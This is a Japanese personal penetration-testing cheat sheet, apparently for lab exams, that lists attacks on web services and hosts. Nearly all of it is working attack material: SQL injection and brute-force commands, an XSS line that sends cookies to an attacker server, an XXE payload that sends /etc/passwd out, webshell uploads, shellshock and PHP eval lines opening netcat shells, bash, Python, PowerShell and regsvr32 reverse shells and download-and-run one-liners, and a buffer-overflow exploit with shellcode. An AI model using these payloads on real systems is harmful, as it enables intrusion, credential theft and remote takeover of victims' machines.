ファイルの解析
file backup.img
foremost backup.img
passphraseでファイルが保護されてても解析して出力してくれるフォレンジックツールbinwalk -e backup.img
ファイルを解析して出力する
Webサービスへの攻撃
Directory Traversal
directory_traversal_2.php?directory=../
directory_traversal_2.php?directory=file://
directory_traversal_1.php?page=../../../etc/passwd
directory_traversal_1.php?page=file:///etc/passwd
ログイン画面への攻撃
Default Account Login
phpmyadmin
admin \ "" (空白), admin \ admin, admin \ password
root \ "" (空白), root \ root, root \ password
SQL Injection
1' or '1' = '1
基本的なこのSQLインジェクションの入力で試す。
Login Brute Force attack
hydra -L user.txt -P /usr/share/john/password.lst -s 80 192.168.56.20 http-post-form '/checklogin.php:myusername=^USER^&mypassword=^PASS^&Submit=Login:Wrong Username or Password'
medusa -h 192.168.56.32 -U users.txt -P pass.txt -M web-form -m FORM:"/login" -m DENY-SIGNAL:"Login falied" -m FORM-DATA:"post?login=&password=&"
以下に使用できるモジュール一覧がある
https://www.aldeid.com/wiki/Medusapython patator.py http_fuzz url=http://192.168.56.32/login method=POST body='login=FILE0&password=FILE0' 0=user.txt accept_cookie=1 follow=1 -x ignore:fgrep='DNS Manager Login'
accept_cookie=1 follow=1
を入れると、受け取ったCookieを設定してリダイレクト先まで確認.
-l /tmp/patator
オプションでRUNTIME.logにコマンド実行結果を保存
cat RUNTIME.log | awk '{print $6":"$9}' | awk -F ":" '{if($1!=346) print $1" "$3}'
とかでレスポンスサイズが異常なものを検知するとかでもよさそう- Burp Intruder
[Send to Intruder]にして
[Cluster bomb]にして、Payload set 1と2にuser.txtとかをセットして[start attack]
Pro版じゃなければスレッドを1以外にできないのでかなり遅い……
Basic Authentication
python3 bruteforce-http-auth.py -t http://10.11.1.1/webdav/ -u user -P /usr/share/metasploit-framework/data/wordlists/http_default_users.txt --verbose
詳しくは以下を参照。
github.comhydra -l user -P /usr/share/metasploit-framework/data/wordlists/http_default_users.txt 10.11.1.1 http-get /target-uri
便利なWordlist
- Login Bruteforce
/usr/share/metasploit-framework/data/wordlists/http_default_users.txt
/usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
/usr/share/wfuzz/wordlist/general/big.txt
/usr/share/john/password.lst
/usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt
/usr/share/seclists/Usernames/Names/familynames-usa-top1000-lower.txt
大文字のものを小文字に変換したファイルを自作した。/usr/share/wordlists/rockyou.txt
- Web file bruteforce
/usr/share/dirb/wordlists/common.txt
/usr/share/wfuzz/wordlist/vulns/cgis.txt
/usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt
/usr/share/SecLists/Discovery/Web-Content/quickhits.txt
/usr/share/SecLists/Discovery/Web-Content/common.txt
これらのファイルを結合してもいいけど、wfuzz
の場合はエラーで詰まることもあるので小分けした方がよい(?)
Cookieの奪取
- 管理者のCookieを奪取してログイン
他のページにXSSができれば、管理者のCookieを<script>location.href='http://192.168.56.5/xss.php?gimme='+document.cookie;</script>
などで自分のローカルサーバーに送信させる。
CMS
暗号の解読
Session Tokenの解析
BurpsuiteのSequencerという機能でセッショントークンを解析できる。通常100以上のトークンがあれば調べてくれる
TLS/SSL Vuln Scanner
sslscan --no-failed --version 192.168.56.33:9443
nmap -v -v --script ssl-cert,ssl-enum-ciphers -p 9443 192.168.56.33
nmap --script ssl-heartbleed -sV -p 8443 192.168.56.33
sslyze --regular --hide_rejected_ciphers 192.168.56.33:9443
./o-saft.pl +check -v 192.168.56.33:9443
./o-saft.pl +info -v 192.168.56.33:9443
./o-saft.pl +quick -v 192.168.56.33:9443
./o-saft.pl +cipher -v 192.168.56.33:9443
./o-saft.pl +cipherall -v 192.168.56.33:9443
./o-saft.tcl
./testssl.sh -U 192.168.56.33:9443
msfconsole> use auxiliary/scanner/ssl/openssl_heartbleed
正直なんもわからん。
参考文献
net123.tistory.com
Heart Bleed
python /usr/share/exploitdb/exploits/multiple/remote/32745.py 10.11.1.1 -p 443
Memoryの一部をリークできる。
msfconsole> use auxiliary/scanner/ssl/openssl_heartbleed
use auxiliary/scanner/ssl/openssl_heartbleed set RHOSTS 192.168.56.33 set RPORT 8443 set verbose true exploit
ECB encrypt attack
平文ブロックが同じであれば暗号ブロックも同じになる。それぞれのブロックは独立して暗号化されるため、暗号化されたデータ(セッションIDなど)を入れ替えることが可能
例)user:rootでログインしたいとする。user password を入力するがサーバがpasswordを認証に用いない場合、passwordのフォームにrootとしてSessionIDを受けとり、userとpasswordのブロックを入れ替えればrootとしてログインできる(かもしれない)
例)ブロックサイズが8バイトの場合、aaaaaaaarootとしてSessionIDを取得しaaaaaaaaに該当する箇所を削除して送信すれば行ける(かもしれない)
参考:
PentesterLab: Learn Web App Pentesting!
padding oracle attack
padbuster http://192.168.56.27/index.php UzQ1G4%2FpF2Vu8BKSS6x3JRuYaRiIpUyX 8 -cookie auth=UzQ1G4%2FpF2Vu8BKSS6x3JRuYaRiIpUyX
パディングがPKCS7、ブロック暗号のモードがCBC、送った暗号文のPaddingが正しいか確認可能な時、暗号文を解読、改竄できる
あるユーザーのセッションIDが上記の時、それを解読することができる。padbuster http://192.168.56.27/index.php UzQ1G4%2FpF2Vu8BKSS6x3JRuYaRiIpUyX 8 -cookie auth=UzQ1G4%2FpF2Vu8BKSS6x3JRuYaRiIpUyX -plaintext user=admin
plaintext
オプションに暗号化したい平文を設定することで偽造されたセッションIDを不正に発行できる。Apache HTTPリリース2.4.25より前のmod_session_crypto関数でこの脆弱性がある。
参考:
Padding Oracle Attack
PentesterLab: Learn Web App Pentesting!
XXE Injection
- 入力したものが、XML解析されて、その結果がそのまま表示される場合
入力したものが、そのままXML解析される脆弱性
入力したものが、XML解析されて、その結果がそのまま表示される場合、以下でファイルを読み込める
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt"> ]> <reset><login>&bWAPP;</login><secret>blah</secret></reset>
XXEiで表示するコンテンツに<
が含まれる場合、XML構文が終了してしまうためそのよう場合には、
php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml
としてBase64エンコードする
- それ以外
Content typeをXMLとすることで、XML構文を解析させる。XMLのエンティティの外部参照を使って標的内のファイルを取得して送信することができる。また、secret URLの取得や、秘密鍵を取得して偽造セッションIDを作成してログインなど。
まず、dtdを外部参照にして、標的にXMLリクエストを投げる。
POST /login HTTP/1.1<br> Host: vulnerable<br> Connection: close<br> Content-Type: text/xml<br> Content-Length: 98<br> <?xml version="1.0"?><br> <!DOCTYPE foo SYSTEM "http://192.168.56.5:3000/test.dtd"><br> <foo>&e1;</foo><br>
このとき、dtdファイルは攻撃者のサーバに設置する。このリクエストの中に%e1;
を入れると、dtdファイル内で定義されるe1エンティティに置き換えられる。
そして、dtdファイルの中には、
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.159.1:3001/BLAH?%p1;'>">
%p2;
と書くことで、XML解析後には、
<!ENTITY e1 SYSTEM 'http://192.168.159.1:3001/BLAH?[/etc/passwd]'>
となり、e1が参照するのは、攻撃者の3001ポートにhttp://.../BLAH?root:x:...
みたいな形でアクセスされる。つまり、アクセスしてくるURLの中に/etc/passwdファイルの中身が表示される。
攻撃者のDTDファイルを読み込むようにXMLリクエストを送信して、実際に攻撃者の端末にアクセスがくれば、この攻撃に脆弱であると言える?(yokuwakattenai)
参考:
pentesterlab.com
http://www.beesfun.com/2017/04/21/play%E6%B8%97%E9%80%8F%E6%A1%86%E6%9E%B6XXE%E5%AE%9E%E4%BD%93%E6%94%BB%E5%87%BB/www.beesfun.com
Command Injection
commix --url="http://192.168.56.32/create" --cookie="rack.session=BAh7B0kiD3Nlc3Npb2..." --data="name=aa&ip=INJECT_HERE&ttl=600"
INJECT_HERE
とかけばそこをチェックする。shellshock
も発見できるらしい
github.com手動
& | ; $ > < ` \ !
などを確認<>
を< >などにしてBurpを用いて確認%0a
改行などを確認`pwd`
で、コマンドを先に実行を確認echo test;/bin/sh;echo a
echo $(/bin/sh)
www.nsa.gov | id
192.168.56.5 | sleep 10
id=1&name=webmail&ip=192.168.3.10%0a`pwd`&ttl=600
その他、以下参照
github.com
Xpath Injection
) or contains(genre, '
) or not(contains(genre, 'teck') and '1'='2
)]/password | a[contains(a,'
)]/*|//*[contains('1','1
Manual SQL Injection
- HTTPクエリ文字列パラメーター(GET): URLで送信される入力パラメーター
- HTTP Body Parameters(POST): HTTP本文で送信される入力パラメーター
- HTTP Cookieパラメーター:HTTP Cookieで送信される入力パラメーター
- HTTPヘッダー:アプリケーションで使用されるHTTP要求ヘッダー
X-Forwarded-For
,X-Forwarded-Host
,UserAgent
,Referrer
,Host
ヘッダーを調べる
チートシート
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
Union query-based SQL Injection
index.php?id=1
となっているところに、?id='
と入力してエラーが出ればSQLインジェクションが可能。
?id=-1 union select 1,2,3,4,5,6 --
などを入力して、エラーが出るまで数字を増やしていく。今回は7とするとエラーがでた(ことにする)。
画面に出ている数字のところにdatabase()
,user()
,hostname()
,@@version
,@@datadir
,system_user()
などとすると、現在のデータベースなどの情報が表示される。UNION SELECT 1,table_schema,3,4,5,6 from information_schema.tables
でデータベース一覧を取得。UNION SELECT 1,concat(table_schema,0x3a,table_name,0x3a,column_name),3,4,5,6 from information_schema.column
でデータベース、テーブル、カラム一覧表示を取得。UNION SELECT 1,concat(username,0x3a,password),3,4,5,6 from テーブル名
であるテーブルのカラムの値を取得UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/https/blogblog/wp-content/uploads/backdoor.php"
でWebshellを設置。なお、Webshellを設置する/var/www/https/...
などの場所は、書き込み権限がある場所を選択する必要がある。
windowsなら、
item=1' union select a "<?php system($_GET['cmd']); ?>" into outfile 'c:/wamp/www/PHP/lang/webshell.php'-- -
のように書く。
/var/www/html
,/var/www/css
,/var/www/classes
だったりと問題によっていろいろで試してみるしかない?(よくわかっていない)
Blind SQL Injection
' or sleep(4) and '1'='1
,' or sleep(4)#
,' AND BENCHMARK(5000000,ENCODE('MSG','by 10 seconds'))#
Time-based blind SQL Injection
応答にかかる時間が長いかどうかでslepp関数が実行されているかどうかわかる(1bitの情報がわかる)
参考:
PentesterLab: Learn Web App Pentesting!
SQL Injection through HTTP Headers - Infosec Resources
Time based Blind SQL Injection on MySQL: How to do manually – Anonhack**Content-based SQL Injection**
参考:
Blind SQL Injection | OWASP
NoSQL Injection
{"username": {"$gt": ""},"password": {"$gt": ""}}
{"username": {"$gt": undefined},"password": {"$gt": undefined}}
username[$gt]=&password[$gt]=
sqlmap
sqlmap -u "192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3
risk level | SQLi type |
---|---|
risk 1: | 普通のSQLインジェクション |
risk 2: | Time-basedSQLインジェクション |
risk 3: | OR-basedSQLインジェクション |
--dbs
でデータベース一覧表示
- sqlmap -u "http://192.168.56.30/" --headers="X-Forwarded-For: *" --method GET --batch --technique T --time-sec 1
--headers
オプションでヘッダーも調査、*
で脆弱な箇所を指定。デフォルトではSqlmapはX-Forwarded-For:
は見ない。--batch
オプションでユーザー入力を省略、--time-sec
オプションでTime-basedのSleep時間を指定(デフォルトで5)、--techinique
でSQLIの種類を指定
option | SQLi type |
---|---|
B | Boolean-based blind |
E | Error-based |
U | Union query-based |
S | Stacked queries |
T | Time-based blind |
Q | Inline queries |
sqlmap -u "192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D データベース名 --tables
で指定したデータのテーブル一覧表示
-
sqlmap -u "192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D データベース名 -T テーブル名 --dump
で指定したテーブルのカラムの値を一覧表示。
-
sqlmap -u "http://192.168.56.16/admin/edit.php?id=1" --dump --file-write="/home/user/vulnhub/webshell.php" --file-dest="/var/www/classes/webshell.php"
で/var/www/classes/にWebshellを設置。書き込み権限がなければエラーが表示される。
-
sqlmap -u "http://192.168.56.16/admin/edit.php?id=1" --cookie=PHPSESSID=sralrfgdr0qo6v331g12mso8j3
ログイン後にSQLインジェクションできる場合はCookieを設定する。
また、phpmyadminにアクセスできれば、 Shell Uploading in Web Server through PhpMyAdminを参考にしてGUIでWebshellを設置することもできる。
よく使うSQLi payloads
' or '1' = '1
or 1=1
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND '1'='1
' or if((select version()) like "5%", sleep(10), null) -- -
' AND extractvalue(rand(),concat(0x3a,version()))-- -
' RLIKE (SELECT (CASE WHEN (1119=1119) THEN 0x73716c6d61702f312e332e313023737461626c652028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND 'ZyyZ'='ZyyZ
NoSQLMap
python nosqlmap.py
MongoDB and CouchDBが対象。python nosqlmap.py --attack 2 --victim 10.11.1.1 --webPort 80 --uri /login --httpMethod POST --postData email,test@test.test,password,qwerty --injectedParameter 1 --injectSize 4 --injectFormat 2 --savePath output.log
--injectedParameter 1
で{'password': "qwerty"}
に{'password': "a'; return db.a.find(); var dummy=1"}
みたいにペイロードをInjectする。
--injectSize 4
でランダムな文字列のサイズを指定。これでよさそう。
--injectFormat 2
でinjected stringsをletters onlyにする。
以下、わかりやすい参考文献。
medium.com
PHP Vulnervilities
PHP File Inclusion
page=../../../../../../../../../../etc/passwd
LFI(Local File Inclusion)page=../../../../../../../../../../etc/passwd%00
%00はヌルバイト。
LFIしかできない場合、../../../var/log/apache2/access.log
にPHPコードを書き込む(アクセスする)ことで、シェルがとれるかも。
RHEL / Red Hat / CentOS / Fedora Linux Apache access file location – /var/log/httpd/access_log Debian / Ubuntu Linux Apache access log file location – /var/log/apache2/access.log FreeBSD Apache access log file location – /var/log/httpd-access.log
以下、LFIからRCEをする参考文献。
outpost24.com
medium.com
LFI + phpinfo.phpのExplot codeは以下にある。
page=http://192.168.56.5/share/test.txt
RFI(Remote File Inclusion)page=php://filter/convert.base64-encode/resource=config
page=php://filter/convert.base64-encode/resource=config.php
page=php://filter/read=convert.base64-encode/resource=/etc/passwd
page=php://input&cmd=ls
page=proc/self/environ
kadimus
PHP LFI/RFIを自動で特定するツール。
github.comRFIでヌルバイトでうまく行かないときのnetcatを使った方法
netcat
でHTTPレスポンスを強引に作ってデータを返す。
root@kali:/var/www/html# nc -lvp 443 listening on [any] 443 ... connect to [10.11.0.1] from test.test.local [10.11.1.1] 59553 GET /test.txt\0header.php HTTP/1.0 Host: 10.11.0.1:443 HTTP/1.1 200 OK Server: Apache/2.4.34 (Debian) Content-Length: 289 Connection: close Content-Type: text/html; charset=iso-8859-1 <?php echo shell_exec(id);?>
以下参考文献
Comprehensive Guide on Local File Inclusion (LFI)
awesome-security-trivia/Tricky-ways-to-exploit-PHP-Local-File-Inclusion.md at master · qazbnm456/awesome-security-trivia · GitHub
PHP CGI Remote Code Execution
phpinfo.php?-s
POST /bWAPP/admin/phpinfo.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input <?php readfile('/etc/passwd'); ?>
PHP Eval Function
php_eval.php?eval=system('cat /etc/passwd');
eval=phpinfo();
eval=;echo exec('id');
eval=;echo exec(id);
eval=;exec('nc -e /bin/sh 192.168.56.5 4444');
execを実行結果を表示するにはechoが必要だが、systemでは必要ない(っぽい)
shell shock
Referer: () { :;};echo;/bin/echo "shell shock"
Referer: () { :;};echo;echo "shell shock"
Referer: () { :;};echo "ssssss" $(/bin/sh -c "nc -e /bin/bash 192.168.56.5 4444")
User-Agent: () { :;};echo -e "\r\nKNLIwpKiKTCa0nEHWEmc9Iquq"
use exploit/multi/http/apache_mod_cgi_bash_env_exec set RHOSTS 192.168.56.33 set targeturi /bWAPP/cgi-bin/shellshock.sh exploit
nmap 10.11.1.1 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/test-cgi
で脆弱かどうか確認。
HTTP要求の改竄
Burp Suiteを使って書き換える。
Firefoxの[Preference]の[general]から[Network]を選び上記のように設定。
Burp Suiteを起動して、[Proxy]タブで上記のように設定。
[Intercept]タブで[Intercept is on]にしてHTTP要求を受け取る。そして、[action]の[Send to Repeater]を選択。
[Repeat]タブに移動して、左ウインドウの内容を書き換えて、[Send]で送信する
Hash crack
hash-identifier
hashの種類を特定する。
代表的なHashの長さは以下を参照。
qiita.comfindmyhash MD5 -h b78aae356709f8c31118ea613980954b
でオンラインのハッシュDBにアクセスして対応する答えがないか確認する。- MD5 Decrypt online
- MD5 Online | Free and fast MD5 encryption
- CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.
などのオンライン上でも確認できる。 john hash.txt
以下の三つをまとめて行う。クラックした結果はjohn hash.txt --show
で確認
john --wordlist=/usr/share/john/password.lst hash.txt
hash typeが$P$
,$H$
の場合、($P$BXC3GjdXdWYQbzZwQRv2hTo4XRtadY.
として保存)、上記のコマンドで復号できる。($P$hashまたはusername:$P$hash)として保存。
john --single hash.txt
john -incremental hash.txt
参考
/etc/passwdのクラックツール『John The Ripper』を使ってみた | 俺的備忘録 〜なんかいろいろ〜Decrypt md5(md5($p).$s)
Maeglin:6ba94d6322f53f30aca4f34960203703$e5ad5s
のようなフォーマット(username:hash$salt)で
john -format=dynamic_6 hash.txt
で復号
john --list=subformats
でハッシュ形式を確認。もしくは
CTFs/README at master · Hamza-Megahed/CTFs · GitHub
または、6ba94d6322f53f30aca4f34960203703:e5ad5s
のようなフォーマット(hash:salt)で
hashcat -m 2611 --force --show hash.txt /usr/share/john/password.lst
で復号
ただし、hashcat
の場合はjohn
と違ってmd5(md5($p).$s)ではsaltに3文字しか指定できないらしい。6文字にすると、Token length exception
と表示される。
example_hashes [hashcat wiki]でハッシュ形式を確認.
MD5 NTLM MSSQL2000 krb5 keepass wordpress SHA512shadow($6$) MD5shadow($1$)のhashcat
のクラックは以下を参照。
github.com
Buffer Overflow
msfvenom
msfvenom -l payloads
でpayloadsを確認できるmsfvenom -l encoders
指定するエンコーダーによって同じ動作をするペイロードでも違ったペイロードが出力される
標準はshikata_ga_naiだが、それでうまく行かない場合(bad charactersが\x00以外にもある場合?)は別のエンコーダーを使用する必要がある。-b
option
-b
で使用しないCharacterを指定できる-f
optoins
msfvenom -p windows/shell_reverse_tcp LPORT=31337 LHOST=YOURIPHERE -f exe-service > daclservicehijack.exe
Windowsがサービスを開始するための呼び出しを行うとき、ServiceMain関数を呼び出し、この呼び出しからの戻りを予期します。
exe-serviceを指定しない場合、生成されたペイロードは永続的なシェルを提供できません。
Windowsのサービスバイナリのために作成する場合は-f exe-service
を付けないといけないstaged/non staged
windows/shell_reverse_tcp
stage lessでバイナリのサイズが大きい。
nc -lvp 4444
でNetcatでリバースシェルをキャッチするときは、StagedじゃなくてStagelessを使う。windows/shell/reverse_tcp
stagedで二段階に分けて実行を行うため、Bufferのサイズが小さいときに使う。
netcat
ではキャッチできない。
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.112 LPORT=4445 EXITFUNC=thread -f exe -a x86 --platform windows -o reverse-shell.exe
EXITFUNC=thread
でペイロードを注入するサービスの動作を中止させることなくペイロードを実行できる。--var-name
,--nopsled
変数の名前を指定、NOPスレッドでペイロードの長さを調整できる。
攻撃手順
- 静的解析
radare2 ./program
objdump -D -M intel program
file program
- eipの奪取
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400
gdb --args ./movie_search "payload”
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41386c41
- 任意ペイロードの実行
objdump -D -M intel movie_search | grep jmp | grep esp
send = padding + return_esp + payload
- Exploit codeの作成
sudo msfvenom -p linux/x86/exec CMD=/bin/ps -b '\x00' -e x86/opt_sub -f raw > payload.txt
use linux/x86/exec set CMD /bin/ps generate -b '\x00' -e x86/opt_sub -f py
- payloads
payloadsは以下のものをよく使う(気がする)
linux/x86/exec
linux/x86/shell/reverse_tcp
linux/x86/meterpreter/reverse_tcp
linux/x86/shell_bind_tcp
- encode payloads
payloadsはWeb経由で送信する場合はURLエンコードする必要があったりなかったり
(echo -n \'; cat payload.txt; echo -n \';) | perl -pe's/(.)/sprintf("%%%02X",ord($1))/seg'
urllib.parse.quote(paylaod.txt)
- sample exploit code
以下はサンプルExploit code
import sys import socket host = "192.168.56.33" port = 666 junk = b"A" * 354 ret_addr = b"\xa7\x8f\x04\x08" nop = b"\x90" * 16 buf = b"" buf += b"\xda\xca\xd9\x74\x24\xf4\x5a\x33\xc9\xb8\x0f\x55\x1c" buf += b"\xa3\xb1\x1f\x31\x42\x1a\x03\x42\x1a\x83\xc2\x04\xe2" buf += b"\xfa\x3f\x16\xfd\x35\x1b\xd1\xe2\x66\xd8\x4d\x8f\x8a" buf += b"\x6e\x17\xc6\x6b\x43\x58\x4f\x30\x34\x99\xd8\xfe\xc1" buf += b"\x71\x1b\xfe\xd8\xdd\x92\x1f\xb0\xbb\xfc\x8f\x14\x13" buf += b"\x74\xce\xd4\x56\x06\x95\x1b\x11\x1e\xdb\xef\xdf\x48" buf += b"\x41\x0f\x20\x89\xdd\x7a\x20\xe3\xd8\xf3\xc3\xc2\x2b" buf += b"\xce\x84\xa0\x6b\xa8\x39\x41\x4c\xf9\x45\x2f\x92\xed" buf += b"\x49\x4f\x1b\xee\x8b\xa4\x17\x30\xe8\x37\x97\xcf\x22" buf += b"\xc7\x52\xef\xc5\xd8\x07\x79\xd4\x40\x05\x5d\xa7\x70" buf += b"\xa4\x1e\x42\xb6\x4e\x1d\xb2\xd6\x16\x20\x4c\x19\x66" buf += b"\x98\x4d\x19\x66\xde\x80\x99" print("Sending payload....") s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect = s.connect((host,port)) s.send(junk + ret_addr + nop + buf) s.close()
シェルの奪取
Webshellの設置
Webdav Scanner
cadaver http://192.168.56.8/webdav
ls
,put
,move
,copy
が使えて便利。
初めに接続して、ls
したい。davtest -url http://192.168.56.8/webdav/
davtest -url http://192.168.56.5/_vti_log/ -sendbd auto -move
でMOVEメソッドが成功するのか確認できる。
メソッドが使用できても書き込み権限がない場合はUploadできない。
めぼしいディレクトリはすべて調査するのがよさそう。use auxiliary/scanner/http/webdav_scanner
参考文献
www.hackingarticles.in
Msfvenomでのaspのペイロード作成コマンドなどは以下を参照。
https://github.com/xapax/security/blob/master/reverse-shell.mdgithub.com
手動で設置
PUTメソッドでファイルアップロード
curlやniktoなどで確認
<?php system($_GET['cmd']); ?>
curl -v -X PUT -d "Test" http://192.168.56.14/test/test.txt
curl -T shell-venom-staged.txt http://10.11.1.1/upload
curl -X MOVE --header 'Destination:http://10.11.1.1/upload/shell-venom.asp' 'http://10.11.1.1/upload/shell-venom.txt'
ファイルのヘッダーを書き換えてアップロード
PDFや画像ファイルしかアップできなくても、ファイルの先頭に%PDF-1.5
とさえ書いておけばphpファイルをアップできるかも
Bypass File Upload
拡張子の変更
.php.jpg
,.php5
,.PHp3
,.pht
とかMIMEタイプの偽造
Burp Suiteを使用して、Content-type: image/jpeg
に書き換えるGIF file ヘッダーの付与
GIF89a;
を先頭に着ける。"nginx" AND "php" AND "execute" AND (".gif" OR ".png") AND ("misconfiguration" OR "misconfig" OR "properly") AND "upload"
Googleでnginxの設定ミスでPHP以外のファイルがPHPとして実行できたりしないかとかいろいろ調べてみる。exiftool -Comment='<?php system($_GET['cmd']); ?>' image.jpeg
参考文献
pentestlab.blog
vulp3cula.gitbook.io
medium.com
Reverse shell
Linux
- 実行できるコマンドの調査
いきなりシェルスクリプトとかを実行すると、Firewallが特定のポートをはじいている場合などにデバッグできなくて詰むので、ちゃんと何が実行できるのかを整理してから選ぶ!!
以下、PHPの前提で進める。 <?php echo exec("id"); ?>
普通のコマンドが実行できているのかまず確認する。奪取できるシェルの権限も確認できる。<?php echo exec("set 2>&1 | tr -d '\n' 2>&1"); ?>
環境変数PATHの値をチェックする。pythonなどがPATHが通っていないだけの場合が考えられるため。
2>&1
で標準エラー出力を標準出力にマージすることでエラーも見れるようになる。- bash
<?php echo exec("bash -i 2>&1 | tr -d '\n' 2>&1"); ?>
<?php echo exec("whereis bash 2>&1 | tr -d '\n' 2>&1"); ?>
<?php echo exec("locate bash 2>&1 | tr -d '\n' 2>&1"); ?>
- nc
<?php echo exec("nc -h 2>&1 | tr -d '\n' 2>&1"); ?>
<?php echo exec("find / -name 'nc.*' -type f"); ?>
<?php echo exec("locate nc 2>&1 | tr -d '\n' 2>&1"); ?>
出力がとても多いので、locate nc 2>&1 | grep '\/nc' 2>&1 | grep -vE 'nc.' 2>&1
として、これをBase64Encodeして、
<?php echo system(base64_decode(""))?>
のようにすることもできる。
encodeしないと期待した結果が得られなかった(???)<?php echo system(base64_decode("bG9jYXRlIG5jIDI+JjEgfCBncmVwICdcL25jJyAyPiYxIHwgZ3JlcCAtdkUgJ25jLicgMj4mMQ0K"))?>
- netcat
<?php echo exec("netcat -h 2>&1 | tr -d '\n' 2>&1"); ?>
<?php echo exec("find / -name 'netcat.*' -type f"); ?>
<?php echo exec("locate netcat 2>&1 | tr -d '\n' 2>&1"); ?>
- telnet
- perl
<?php echo exec("perl -h 2>&1 | tr -d '\n' 2>&1"); ?>
<?php echo exec("whereis perl 2>&1 | tr -d '\n' 2>&1"); ?>
<?php echo exec("locate perl 2>&1 | tr -d '\n' 2>&1"); ?>
- python
<?php echo exec("python -h 2>&1 | tr -d '\n' 2>&1"); ?>
<?php echo exec("whereis python 2>&1 | tr -d '\n' 2>&1"); ?>
<?php echo exec("locate python 2>&1 | tr -d '\n' 2>&1"); ?>
-
<?php echo exec("wget -h 2>&1 | tr -d '\n' 2>&1"); ?>
Reverse shell script
pentestmonkey.net
github.com
book.hacktricks.xyz
のリバースシェル用のスクリプトを参考にする。
代表的なものとしては、
-
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
-
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-
nc -e /bin/sh 10.0.0.1 1234
msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.16 LPORT=4444 SHELL=/bin/bash -a cmd --platform Unix -e generic/none
msfvenom -p cmd/unix/reverse_bash LHOST=10.0.0.1 LPORT=4242 -f raw > shell.sh
wget http://10.11.0.1/reverse/linux/reverse-443.sh -O /tmp/reverse-443.sh && bash /tmp/reverse-443.sh
rm -f /tmp/p; mknod /tmp/p p && telnet 10.11.0.112 5555 0/tmp/p
telnet 10.11.0.112 5555 | /bin/bash | telnet 10.11.0.112 6666
5555と6666ポートの両方を開けておく。5555ポートにコマンドを入力すると6666ポートに結果が表示される。
である。
他にもKaliLinuxにはreverse shell用のスクリプトが容易されている。
-
/usr/share/webshells/php/php-reverse-shell.php
-
sudo msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.5 lport=443 -f raw
として、use /exploit/multi/handler
モジュールを選択し、payloadにphp/meterpreter/reverse_tcp
(staged)を選択する
meterpreterセッション確立後は、sysinfo
,getuid
などで情報を集める。
Windows
cscript wget.vbs http://10.11.0.11/exploit/windows/nc.exe nc.exe
wget.vbs
をecho
のワンライナーで作成しておき、nc.exe
をUploadする
nc -nv 10.11.0.11 4444 -e cmd.exe
でReverse shellを得るtftp -i 10.11.0.112 get nc.exe
atftpd --daemon --port 69 /tftp
/tftp
にnc.exe
を設置しておき、上記のコマンドが使えればこれでnc.exe
をUploadする
他にも、certuril
,powershell
でnc.exe
をアップする方法がある。powershell one liner
IP,portを編集して以下でbase64エンコードしてワンライナーで実行できるようにする
2021 3/1追記
powershellの-EncodedCommand
で実行するにはデフォルトのUTF-8ではなくUTF-16LEでエンコードされていないといけない!
iconv -f ASCII -t UTF-16LE powershellrev.ps1 | base64 | tr -d "\n"
で変換してエンコード
https://stackoverflow.com/questions/57399778/how-to-run-base64-code-in-powershell-with-ascii
raikia.com
powershell.exe -EncodedCommand JABzAGUAcgB2AGUAc.......
もしくはpowershellファイルをpowershell .\test.ps1
のようにしてcmd上で実行する
- regsvr32 /s /n /u /i:http://10.11.0.112/reverse-4445.sct scrobj.dll
Kaliに用意したreverse-4445.sct
ファイルを実行して、reverse-4445.ps1
ファイルを実行する。
PSのリバースシェルが得られる。
<?XML version="1.0"?><scriptlet><registration progid="SCqiRsAq" classid="{30ccdc90-36cf-68ac-6562-51b3f07b27ea}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("powershell.exe -nop -w hidden -c $c=new-object net.webclient;$c.proxy=[Net.WebRequest]::GetSystemWebProxy();$c.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $c.downloadstring('http://10.11.0.1/reverse-4445.ps1');",0);]]></script></registration></scriptlet>
$client = New-Object System.Net.Sockets.TCPClient("10.11.0.1",4445);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powercat
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/exploit/windows/powercat.ps1');powercat -c 10.11.0.11 -p 4444 -e cmd"
github.com
- cmd.exe /c powershell -c Invoke-WebRequest -Uri "http://10.10.14.8/nc.exe" -OutFile "C:\windows\system32\spool\drivers\color\nc.exe
netsh firewall show config
でFirewallの設定を確認できる。
